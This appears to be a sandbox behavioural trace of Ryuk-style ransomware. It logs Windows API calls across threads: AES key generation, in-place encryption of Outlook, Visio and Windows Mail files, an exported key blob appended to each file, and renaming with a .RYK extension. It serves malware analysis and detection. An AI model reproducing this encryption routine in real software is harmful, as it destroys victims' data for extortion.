	[0235.086] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\mapisvc.inf" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\mapisvc.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x708
	[0235.087] GetFileSizeEx (in: hFile=0x708, lpFileSize=0x8caf818 | out: lpFileSize=0x8caf818*=1122) returned 1
	[0235.087] GetFileSizeEx (in: hFile=0x708, lpFileSize=0x8caf828 | out: lpFileSize=0x8caf828*=1122) returned 1
	[0235.087] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x340, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0235.087] ReadFile (in: hFile=0x708, lpBuffer=0x8caf870, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8caf7e0, lpOverlapped=0x0 | out: lpBuffer=0x8caf870*, lpNumberOfBytesRead=0x8caf7e0*=0x19, lpOverlapped=0x0) returned 1
	[0235.140] SetFilePointer (in: hFile=0x708, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0235.140] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x8caf7f8 | out: phKey=0x8caf7f8*=0x2b8ff0) returned 1
	[0235.140] SetFilePointer (in: hFile=0x708, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0235.140] ReadFile (in: hFile=0x708, lpBuffer=0x2980000, nNumberOfBytesToRead=0x462, lpNumberOfBytesRead=0x8caf804, lpOverlapped=0x0 | out: lpBuffer=0x2980000*, lpNumberOfBytesRead=0x8caf804*=0x462, lpOverlapped=0x0) returned 1
	[0235.140] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8caf800*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8caf800*=0xf4250) returned 1
	[0235.140] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2980000*, pdwDataLen=0x8caf808*=0x462, dwBufLen=0xf4250 | out: pbData=0x2980000*, pdwDataLen=0x8caf808*=0x470) returned 1
	[0235.141] SetFilePointer (in: hFile=0x708, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0235.141] WriteFile (in: hFile=0x708, lpBuffer=0x2980000*, nNumberOfBytesToWrite=0x470, lpNumberOfBytesWritten=0x8caf804, lpOverlapped=0x0 | out: lpBuffer=0x2980000*, lpNumberOfBytesWritten=0x8caf804*=0x470, lpOverlapped=0x0) returned 1
	[0235.141] WriteFile (in: hFile=0x708, lpBuffer=0x8caf830*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8caf810, lpOverlapped=0x0 | out: lpBuffer=0x8caf830*, lpNumberOfBytesWritten=0x8caf810*=0x6, lpOverlapped=0x0) returned 1
	[0235.141] CryptExportKey (in: hKey=0x2b8ff0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8caf820 | out: pbData=0x0*, pdwDataLen=0x8caf820*=0x10c) returned 1
	[0235.141] CryptExportKey (in: hKey=0x2b8ff0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x8caf890, pdwDataLen=0x8caf820 | out: pbData=0x8caf890*, pdwDataLen=0x8caf820*=0x10c) returned 1
	[0235.141] WriteFile (in: hFile=0x708, lpBuffer=0x8caf890*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8caf810, lpOverlapped=0x0 | out: lpBuffer=0x8caf890*, lpNumberOfBytesWritten=0x8caf810*=0x10c, lpOverlapped=0x0) returned 1
	[0235.141] CloseHandle (hObject=0x708) returned 1
	[0235.146] CryptDestroyKey (hKey=0x2b8ff0) returned 1
	[0235.146] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\mapisvc.inf" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\mapisvc.inf"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\mapisvc.inf.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\mapisvc.inf.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2634
	os_tid = 0x2e94

	[0235.092] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\Outlook.sharing.xml.obi", dwFileAttributes=0x80) returned 1
	[0235.095] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\Outlook.sharing.xml.obi" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\outlook.sharing.xml.obi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6cc
	[0235.095] GetFileSizeEx (in: hFile=0x6cc, lpFileSize=0x8f5fad8 | out: lpFileSize=0x8f5fad8*=185) returned 1
	[0235.095] GetFileSizeEx (in: hFile=0x6cc, lpFileSize=0x8f5fae8 | out: lpFileSize=0x8f5fae8*=185) returned 1
	[0235.095] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x8f5fab8 | out: phKey=0x8f5fab8*=0x2b9220) returned 1
	[0235.095] SetFilePointer (in: hFile=0x6cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0235.097] ReadFile (in: hFile=0x6cc, lpBuffer=0x2f90000, nNumberOfBytesToRead=0xb9, lpNumberOfBytesRead=0x8f5fac4, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesRead=0x8f5fac4*=0xb9, lpOverlapped=0x0) returned 1
	[0235.101] CryptEncrypt (in: hKey=0x2b9220, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8f5fac0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8f5fac0*=0xf4250) returned 1
	[0235.101] CryptEncrypt (in: hKey=0x2b9220, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f90000*, pdwDataLen=0x8f5fac8*=0xb9, dwBufLen=0xf4250 | out: pbData=0x2f90000*, pdwDataLen=0x8f5fac8*=0xc0) returned 1
	[0235.101] SetFilePointer (in: hFile=0x6cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0235.101] WriteFile (in: hFile=0x6cc, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x8f5fac4, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x8f5fac4*=0xc0, lpOverlapped=0x0) returned 1
	[0235.102] WriteFile (in: hFile=0x6cc, lpBuffer=0x8f5faf0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8f5fad0, lpOverlapped=0x0 | out: lpBuffer=0x8f5faf0*, lpNumberOfBytesWritten=0x8f5fad0*=0x6, lpOverlapped=0x0) returned 1
	[0235.102] CryptExportKey (in: hKey=0x2b9220, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8f5fae0 | out: pbData=0x0*, pdwDataLen=0x8f5fae0*=0x10c) returned 1
	[0235.102] CryptExportKey (in: hKey=0x2b9220, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x8f5fb50, pdwDataLen=0x8f5fae0 | out: pbData=0x8f5fb50*, pdwDataLen=0x8f5fae0*=0x10c) returned 1
	[0235.102] WriteFile (in: hFile=0x6cc, lpBuffer=0x8f5fb50*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8f5fad0, lpOverlapped=0x0 | out: lpBuffer=0x8f5fb50*, lpNumberOfBytesWritten=0x8f5fad0*=0x10c, lpOverlapped=0x0) returned 1
	[0235.102] CloseHandle (hObject=0x6cc) returned 1
	[0235.115] CryptDestroyKey (hKey=0x2b9220) returned 1
	[0235.115] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\Outlook.sharing.xml.obi" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\outlook.sharing.xml.obi"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\Outlook.sharing.xml.obi.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\outlook.sharing.xml.obi.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2644
	os_tid = 0x2ecc


Thread:
	id = 2645
	os_tid = 0x2ed0

	[0235.517] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\RoamCache\\Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat", dwFileAttributes=0x80) returned 0
	[0235.517] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\RoamCache\\Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\roamcache\\stream_contactprefs_2_f230e11936b7d740a008ffc660e83c71.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.517] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.517] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\RoamCache\\Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\roamcache\\stream_contactprefs_2_f230e11936b7d740a008ffc660e83c71.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\RoamCache\\Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\roamcache\\stream_contactprefs_2_f230e11936b7d740a008ffc660e83c71.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2656
	os_tid = 0x2f00

	[0235.814] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\content14.dat", dwFileAttributes=0x80) returned 1
	[0235.816] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\content14.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\visio\\content14.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x734
	[0235.817] GetFileSizeEx (in: hFile=0x734, lpFileSize=0x8dbfb38 | out: lpFileSize=0x8dbfb38*=101600) returned 1
	[0235.817] GetFileSizeEx (in: hFile=0x734, lpFileSize=0x8dbfb48 | out: lpFileSize=0x8dbfb48*=101600) returned 1
	[0235.817] SetFilePointerEx (in: hFile=0x734, liDistanceToMove=0x18bbe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0235.817] ReadFile (in: hFile=0x734, lpBuffer=0x8dbfb90, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8dbfb00, lpOverlapped=0x0 | out: lpBuffer=0x8dbfb90*, lpNumberOfBytesRead=0x8dbfb00*=0x19, lpOverlapped=0x0) returned 1
	[0235.822] SetFilePointer (in: hFile=0x734, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0235.822] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x8dbfb18 | out: phKey=0x8dbfb18*=0x2b9220) returned 1
	[0235.822] SetFilePointer (in: hFile=0x734, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0235.823] ReadFile (in: hFile=0x734, lpBuffer=0x2690000, nNumberOfBytesToRead=0x18ce0, lpNumberOfBytesRead=0x8dbfb24, lpOverlapped=0x0 | out: lpBuffer=0x2690000*, lpNumberOfBytesRead=0x8dbfb24*=0x18ce0, lpOverlapped=0x0) returned 1
	[0235.827] CryptEncrypt (in: hKey=0x2b9220, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8dbfb20*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8dbfb20*=0xf4250) returned 1
	[0235.827] CryptEncrypt (in: hKey=0x2b9220, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2690000*, pdwDataLen=0x8dbfb28*=0x18ce0, dwBufLen=0xf4250 | out: pbData=0x2690000*, pdwDataLen=0x8dbfb28*=0x18cf0) returned 1
	[0235.828] SetFilePointer (in: hFile=0x734, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0235.828] WriteFile (in: hFile=0x734, lpBuffer=0x2690000*, nNumberOfBytesToWrite=0x18cf0, lpNumberOfBytesWritten=0x8dbfb24, lpOverlapped=0x0 | out: lpBuffer=0x2690000*, lpNumberOfBytesWritten=0x8dbfb24*=0x18cf0, lpOverlapped=0x0) returned 1
	[0235.830] WriteFile (in: hFile=0x734, lpBuffer=0x8dbfb50*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8dbfb30, lpOverlapped=0x0 | out: lpBuffer=0x8dbfb50*, lpNumberOfBytesWritten=0x8dbfb30*=0x6, lpOverlapped=0x0) returned 1
	[0235.830] CryptExportKey (in: hKey=0x2b9220, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8dbfb40 | out: pbData=0x0*, pdwDataLen=0x8dbfb40*=0x10c) returned 1
	[0235.830] CryptExportKey (in: hKey=0x2b9220, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x8dbfbb0, pdwDataLen=0x8dbfb40 | out: pbData=0x8dbfbb0*, pdwDataLen=0x8dbfb40*=0x10c) returned 1
	[0235.830] WriteFile (in: hFile=0x734, lpBuffer=0x8dbfbb0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8dbfb30, lpOverlapped=0x0 | out: lpBuffer=0x8dbfbb0*, lpNumberOfBytesWritten=0x8dbfb30*=0x10c, lpOverlapped=0x0) returned 1
	[0235.831] CloseHandle (hObject=0x734) returned 1
	[0235.841] CryptDestroyKey (hKey=0x2b9220) returned 1
	[0235.841] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\content14.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\visio\\content14.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\content14.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\visio\\content14.dat.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2657
	os_tid = 0x2f04

	[0235.825] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\thumbs.dat", dwFileAttributes=0x80) returned 1
	[0235.853] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\thumbs.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\visio\\thumbs.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x734
	[0235.853] GetFileSizeEx (in: hFile=0x734, lpFileSize=0x8eff7d8 | out: lpFileSize=0x8eff7d8*=128290) returned 1
	[0235.854] GetFileSizeEx (in: hFile=0x734, lpFileSize=0x8eff7e8 | out: lpFileSize=0x8eff7e8*=128290) returned 1
	[0235.854] SetFilePointerEx (in: hFile=0x734, liDistanceToMove=0x1f400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0235.854] ReadFile (in: hFile=0x734, lpBuffer=0x8eff830, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8eff7a0, lpOverlapped=0x0 | out: lpBuffer=0x8eff830*, lpNumberOfBytesRead=0x8eff7a0*=0x19, lpOverlapped=0x0) returned 1
	[0235.857] CloseHandle (hObject=0x734) returned 1
	[0235.857] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\thumbs.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\visio\\thumbs.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\thumbs.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\visio\\thumbs.dat.ryk"), dwFlags=0x8) returned 1
	[0235.864] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\thumbs.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\visio\\thumbs.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\thumbs.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\visio\\thumbs.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2690
	os_tid = 0x2f8c

	[0237.187] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", dwFileAttributes=0x80) returned 0
	[0237.187] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{047ef9ce-9c1f-4250-9ca7-d206db8b643c}.oeaccount"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.187] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.188] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{047ef9ce-9c1f-4250-9ca7-d206db8b643c}.oeaccount"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{047ef9ce-9c1f-4250-9ca7-d206db8b643c}.oeaccount.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2691
	os_tid = 0x2f90

	[0237.190] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", dwFileAttributes=0x80) returned 0
	[0237.190] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{1cd43f3b-668b-4ca8-b816-34f74122ec0f}.oeaccount"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.190] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.190] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{1cd43f3b-668b-4ca8-b816-34f74122ec0f}.oeaccount"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{1cd43f3b-668b-4ca8-b816-34f74122ec0f}.oeaccount.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2692
	os_tid = 0x2f94

	[0237.192] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", dwFileAttributes=0x80) returned 0
	[0237.192] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{af0db737-2ef9-4633-bf5e-1a6761ed1577}.oeaccount"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.192] CloseHandle (hObject=0xffffffffffffffff) returned 0
